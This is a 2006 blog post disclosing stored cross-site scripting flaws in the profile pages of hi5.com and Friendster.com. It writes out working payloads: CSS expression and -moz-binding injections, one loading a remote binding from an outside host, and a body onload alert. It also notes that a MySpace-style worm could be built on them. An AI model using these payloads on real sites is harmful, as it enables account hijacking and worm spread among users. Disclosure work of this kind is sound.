Digger's blog

Thursday, July 06, 2006

 

hi5.com and friendster.com vulnerable to cross site scripting

Well, it only took me 10 minutes for hi5.com and 5 minutes for Friendster.com to find cross site scripting vulnerabilities.

Rememeber the myspace worm (samy is my hero)?
Both of these websites are in the same situation and a worm can be easily created using these vulnerabilities. It's very interesting how they manage to go online without doing some basic security testing.

Some details about the vulnerabilities:

For hi5.com,

If you have an account, when you edit your profile at

http://hi5.com/friend/account/editProfileLifestyle.do

You can enter the payload in the About me section (for example).
<span style ="font: Comic Sans MS; font-size: 20px; color:red">whatever</span><span style ="font: Comic Sans MS; font-size: 20px; color:blue; xss:expression(alert('XSS-IE')) ">
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
</span>

I found one XSS for Internet Explorer and one for Firefox and combine them:P

For Friendster.com,
Just edit your profile and a simple <body onload="alert(1);"> does the job just fine.

Here is a sample profile:

If you want to know more about XSS, the best resource is RSnake's page.

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